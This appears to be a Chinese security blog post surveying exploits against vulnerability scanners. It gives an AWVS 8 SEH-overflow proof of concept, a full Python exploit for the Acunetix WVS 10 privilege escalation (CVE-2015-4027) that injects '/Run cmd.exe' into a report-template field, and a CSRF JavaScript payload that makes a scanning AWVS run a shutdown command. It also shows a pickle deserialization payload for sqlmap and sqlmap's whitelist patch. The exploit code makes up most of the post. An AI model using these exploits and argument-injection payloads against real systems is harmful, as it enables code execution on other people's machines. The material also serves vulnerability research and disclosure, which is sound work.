扫描器之殇
昨天 sqlmap 又爆出了代码执行的漏洞,之前 AWVS 也爆过一些漏洞,原理各不相同一起整理下。
AWVS 8 build 20120704 栈溢出
问题出在 WVS 扫描初始化阶段:WVS 在扫描初始化阶段会自动分析目标的首页并将其列出,如下图:
当外部域名长度大于 268 时,WVS 就会崩溃,编写 POC 如下:
<img src="http://AAAA[300 A]AAAAA.com/1.jpg">
WinDbg 中跟一下发现崩溃发生于如下指令:
00405944 8b4af8 mov ecx,dword ptr [edx-8] ds:0023:41414139=????????
edx 被 AAAA 覆盖,mona 生成定位字符串,可以看到 SEH 覆盖长度为 280,继续使用 mona 获取 p/p/r 地址:
!py mona seh -cp alphanum // 因为域名中字符限制为0-9a-Z,-
0x00414e54 : pop ecx # pop ebp # ret 0x04 | startnull,asciiprint,ascii {PAGE_EXECUTE_READ} [wvs.exe] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v6.0.0.3452 (D:\Program Files\Acunetix\Web Vulnerability Scanner 8\wvs.exe)
0x00426133 : pop ecx # pop ebp # ret 0x04 | startnull,asciiprint,ascii,alphanum {PAGE_EXECUTE_READ} [wvs.exe] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v6.0.0.3452 (D:\Program Files\Acunetix\Web Vulnerability Scanner 8\wvs.exe)
0x00476d39 : pop ecx # pop ebp # ret 0x04 | startnull,asciiprint,ascii,alphanum {PAGE_EXECUTE_READ} [wvs.exe] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v6.0.0.3452 (D:\Program Files\Acunetix\Web Vulnerability Scanner 8\wvs.exe)
0x00486f76 : pop ecx # pop ebp # ret 0x04 | startnull,asciiprint,ascii,alphanum {PAGE_EXECUTE_READ} [wvs.exe] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v6.0.0.3452 (D:\Program Files\Acunetix\Web Vulnerability Scanner 8\wvs.exe)
... snip ...
0x74643371 : pop edi # pop esi # ret 0x08 | asciiprint,ascii,alphanum,lowernum {PAGE_EXECUTE_READ} [msls31.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: True, v3.10.349.0 (C:\WINDOWS\system32\msls31.dll) // 可用的 p/p/r
... snip ...
NEXT SEH 也应该覆盖成 alphanum 字符,这里可以观察到 CF 位为 0,故而使用 JNB 做小跳 JNB 50 => \x73\x50
,不足 4 位添加 AA 补全。最终构造 POC 如下:
<img src="http://AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAsPAAq3dtAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB.com/1.jpg">
可以看到成功跳到 shellcode(BBBB)中:
Acunetix WVS 10 - Local Privilege escalation
WVS 9 以后的版本会安装名为 AcuWVSSchedulerv10 的自启动服务,监听本地8183 端口,用户可以通过它来为 AWVS 添加新的扫描任务。此接口实际上是调用 wvs_console.exe 来执行扫描任务的,并且下发任务时参数是通过拼接字符串实现的。而 wvs_console.exe 提供了 /Run 参数用来在爬行的过程中执行用户自定义的命令。由此两点直接导致了 WVS 的命令执行漏洞:
POC 如下:
'''
========================================================================
Acunetix WVS 10 - from guest to Sytem (Local privilege escalation)
CVE: CVE-2015-4027
Author: (me) Daniele Linguaglossa
Affected Product: Acunetix WVS 10
Exploit: Local privilege escalation
Vendor: Acunetix ltd
Remote: No
Version: 10
=========================================================================
A local privilege escalation exists in Acunetix WVS 10, it allow
a local user (even guest) to gain same privilege as System user.
With default Acunetix installation, a service called "AcuWVSSchedulerv10"
will be installed, this service run as local system user.
AcuWVSSchedulerv10 is reponsable for scan scheduling without user interaction
it expose some API to interact via a web server usually localhost:8183.
API:
/listScan
/addScan <== vulnerable one
/deleteScan
etc...
When a user schedule a scan API "addScan" will be called as following
-------------------------------------------------------------------------------
POST /api/addScan HTTP/1.1
Host: localhost:8183
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:42.0) Gecko/20100101 Firefox/42.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: it-IT,it;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/json; charset=UTF-8
RequestValidated: true
X-Requested-With: XMLHttpRequest
Referer: http://localhost:8183/
Content-Length: 452
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache
{
"scanType": "scan",
"targetList": "",
"target": ["http://.target.it"],
"recurse": "-1",
"date": "12/2/2015",
"dayOfWeek": "1",
"dayOfMonth": "1",
"time": "12:21",
"deleteAfterCompletion": "False",
"params": {
"profile": "Default",
"loginSeq": "<none>",
"settings": "Default",
"scanningmode": "heuristic",
"excludedhours": "<none>",
"savetodatabase": "True",
"savelogs": "False",
"generatereport": "False",
"reportformat": "PDF",
"reporttemplate": "WVSAffectedItemsReport.rep",
"emailaddress": ""
}
}
------------------------------------------------------------------------------
The first thing i noticed was the reporttemplate, this was used to create report
when scanning ends, so it means an external file wich we can control will be then
used by System! this would be interesting enough but i never look deep into.
Instead i noticed something even worst, filename was used as argument to wvs.exe
called with system privilege!
By looking at how Acunetix handled reporttemplate argument i figured out that was
possibile to inject custom arguments within reporttemplate, now this is where
Acunetix help us :D in fact wvs was provided with an interesting argument it was
/Run as reference says:
https://www.acunetix.com/blog/docs/acunetix-wvs-cli-operation/
Run a command line command during the crawl.
Syntax: /Run [command]
Example: /Run curl http://example.com/dir1/
Wow that's really nice, so in order to execute a command we must insert a fake
Crawl followed by a Run command so reporttemplate become:
"reporttemplate": "WVSAffectedItemsReport.rep /Craw http://fakesite.it /Run cmd.exe"
it worked cmd runned as System!
==================================================================================
Now let's pwn this!
escalation.py
'''
import httplib
import json
from datetime import datetime
import sys
from time import gmtime, strftime
COMMAND = sys.argv[1] if len(sys.argv) > 1 else "cmd.exe"
ACUHOST = '127.0.0.1'
ACUPORT = 8183
ACUHEADERS = {
"Content-Type": "application/json; charset=UTF-8",
"X-Requested-With": "XMLHttpRequest",
"Accept": "application/json, text/javascript, */*; q=0.01",
"RequestValidated": "true"
}
ACUEXPLOIT = "/Crawl http://www.google.it /Run \""+ COMMAND + "\""
ACUDATA = {"scanType":"scan",
"targetList":"",
"target":["http://"+"A"*2048],
"recurse":"-1",
"date":strftime("%m/%d/%Y", gmtime()),
"dayOfWeek":"1",
"dayOfMonth":"1",
"time": "%s:%s" % (datetime.now().hour, datetime.now().minute+1),
"deleteAfterCompletion":"False",
"params":{"profile":"Default",
"loginSeq":"<none>",
"settings":"Default",
"scanningmode":"heuristic",
"excludedhours":"<none>",
"savetodatabase":"True",
"savelogs":"False",
"generatereport":"False",
"reportformat":"PDF",
"reporttemplate":"WVSDeveloperReport.rep " + ACUEXPLOIT,
"emailaddress":""}
}
def sendExploit():
conn = httplib.HTTPConnection(ACUHOST, ACUPORT)
conn.request("POST", "/api/addScan", json.dumps(ACUDATA), ACUHEADERS)
resp = conn.getresponse()
return "%s %s" % (resp.status, resp.reason)
print "Acunetix Wvs 10 Local priviledge escalation by Daniele Linguaglossa\n"
print "[+] Command : %s will be executed as SYSTEM" % COMMAND
print "[+] Sending exploit..."
print "[+] Result: "+sendExploit()
print "[+] Done!"
'''
============================================================================
I hope this write-up was funny enough anyway i really would like to thank
Acunetix product manager N.S. for the really fast answer and bug mitigation,
right now a patch exists so hurry up download it now.
============================================================================
'''
而此漏洞可以通过 CSRF 来触发,即:黑客通过 WVS 扫描你网站时通过页面中的 CSRF 自动发 POC,这使其由本地权限提升扩展成了远程代码执行:
<script>
var time = new Date()
var y = time.getFullYear();
var m = time.getMonth()+1;
var d = time.getDate();
var hours = time.getHours();
var min = time.getMinutes()+1;
var command = "shutdown -r -t 0";
var padding = "http://";
for(i=0;i<2048;i++)padding+="a";
var exp = '{"scanType":"scan","targetList":"","target":["'+padding+'"],"recurse":"-1","date":"'+m+'/'+d+'/'+y+'","dayOfWeek":"1","dayOfMonth":"1","time":"'+hours+':'+min+'","deleteAfterCompletion":"False","params":{"profile":"Default","loginSeq":"<none>","settings":"Default","scanningmode":"heuristic","excludedhours":"<none>","savetodatabase":"True","savelogs":"False","generatereport":"False","reportformat":"PDF","reporttemplate":"WVSDeveloperReport.rep /Crawl http://www.google.it /Run \\"'+command+' \\"","emailaddress":""}}'
var xmlhttp;
if(window.XMLHttpRequest){
xmlhttp=new XMLHttpRequest();
}else{
xmlhttp=new ActiveXObject("Microsoft.XMLHTTP");
}
xmlhttp.open("POST","http://127.0.0.1:8183/api/addScan",true);
xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded");
xmlhttp.setRequestHeader("RequestValidated","true");
xmlhttp.send(exp);
</script>
本机 Win 10 测试,日志中可以发现命令确实被执行了,但是不知道什么原因没有看到想要的效果 🙁
SQLMap 反序列化代码执行
序列化/反序列化使用不当很容易出现问题,这在各种语言中都有体现(PHP/Java/Python…),而且导致的漏洞通常也会很严重,比如:代码执行。以 Python 为例,序列化/反序列化需要用到 pickle 模块,代码如下:
import pickle
class A(object):
def halo(self):
print "halo world"
a_pickled = pickle.dumps(A())
a = pickle.loads(a_pickled)
print a_pickled
print a, a.halo
a.halo()
# Chu@DESKTOP-PBKB22I /cygdrive/c/Users/Chu/Desktop
# $ python test.py
# ccopy_reg
# _reconstructor
# p0
# (c__main__
# A
# p1
# c__builtin__
# object
# p2
# Ntp3
# Rp4
# .
# <__main__.A object at 0x0000000002AC7C50> <bound method A.halo of <__main__.A object at 0x0000000002AC7C50>>
# halo world
可以看到 halo
函数成功执行。Python 对象有一个 __reduce__
方法可以在反序列化时自动执行,由此可以造成代码执行漏洞:
import pickle
import subprocess
class A(object):
def __reduce__(self):
return (subprocess.Popen, (("id",),))
pickle.loads(pickle.dumps(A()))
# Chu@DESKTOP-PBKB22I /cygdrive/c/Users/Chu/Desktop
# $ python test.py
# Chu@DESKTOP-PBKB22I /cygdrive/c/Users/Chu/Desktop
# $ uid=197609(Chu) gid=197121(None) 组=197121(None),559(Performance Log Users),545(Users),4(INTERACTIVE),66049(CONSOLE LO GON),11(Authenticated Users),15(This Organization),113(本地帐户),66048(LOCAL),262154(NTLM Authentication),401408(Medium
# Mandatory Level)
SQLMap 项目中 /lib/core/convert.py 函数 base64unpickle
定义如下:
def base64unpickle(value):
"""
Decodes value from Base64 to plain format and deserializes (with pickle) its content
>>> base64unpickle('gAJVBmZvb2JhcnEALg==')
'foobar'
"""
retVal = None
try:
retVal = pickle.loads(base64decode(value))
except TypeError:
retVal = pickle.loads(base64decode(bytes(value)))
return retVal
恶意数据 -> cmdLineParser@/lib/parse/cmdline.py -> _mergeOptions@/lib/core/option.py -> base64unpickle@/lib/core/convert.py -> pickle.loads 导致代码执行,POC 如下:
python sqlmap.py --pickled-options gAJjc3VicHJvY2VzcwpQb3BlbgpxAFUIY2FsYy5leGVxAYVxAoVxA1JxBC4=
漏洞被爆出后 SQLMap 团队以白名单方式进行了修复:
Chu@DESKTOP-PBKB22I /cygdrive/f/Pentest
$ diff sqlmap/lib/core/convert.py sqlmap.bak/lib/core/convert.py
11d10
< import StringIO
13d11
< import types
17d14
< from lib.core.settings import PICKLE_REDUCE_WHITELIST
73,85d69
< def _(self):
< if len(self.stack) > 1:
< func = self.stack[-2]
< if func not in PICKLE_REDUCE_WHITELIST:
< raise Exception, "abusing reduce() is bad, Mkay!"
< self.load_reduce()
<
< def loads(str):
< file = StringIO.StringIO(str)
< unpickler = pickle.Unpickler(file)
< unpickler.dispatch[pickle.REDUCE] = _
< return unpickler.load()
<
87c71
< retVal = loads(base64decode(value))
---
> retVal = pickle.loads(base64decode(value))
89c73
< retVal = loads(base64decode(bytes(value)))
---
> retVal = pickle.loads(base64decode(bytes(value)))
Others
扫描器中很多点都会调用浏览器的 API 来实现,比如预登陆,所以使用浏览器的漏洞来攻击扫描器是可以的。可以参考这个洞:Acunetix <= 9.5 - OLE Automation Array Remote Code Execution